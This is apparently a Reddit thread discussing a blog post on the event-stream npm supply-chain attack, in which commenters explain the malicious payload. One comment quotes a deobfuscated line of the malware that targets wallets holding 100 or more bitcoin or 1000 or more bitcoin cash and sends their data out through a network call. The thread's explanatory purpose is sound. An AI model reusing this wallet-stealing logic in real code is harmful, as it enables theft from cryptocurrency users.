r/javascript • • Nov 27 '18

event-stream vulnerability explained

https://schneid.io/blog/event-stream-vulnerability-explained/
412 Upvotes

70 comments sorted by

View all comments

1

u/Bobbr23 Nov 28 '18 edited Nov 28 '18

What’s also interesting is that it seems to only steel from wallets with less than 100 bitcoin. Did they want to avoid stealing from those with more than 100? Wonder if the attacker thought it too dangerous to steal from people who have more than 100 bitcoin?

Edit: or less than 1,000 bch. That function is pretty obfuscated though.

2

u/schneidmaster Nov 28 '18

It's super tricky with the obfuscation, but you're reading that backwards -- it only steals from people with more than 100 bitcoin or 1000 bitcoin cash (presumably just to make it worthwhile -- you don't want to get caught stealing a fraction of a bitcoin and lose your attack vector). The relevant line is:

"btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))

In JS, the || operator short-circuits and returns when it hits the first matching condition -- so if it's <100 btc or <1000 bch, then it never gets to the r() that makes the network call.

1

u/Bobbr23 Nov 28 '18

Thanks for taking the time to hash that out for me. Good point on not losing one’s attack vector. And thanks for writing this all up, I feel sorry for anyone who got their wallets drained, but agree that it’s interesting and important to understand how.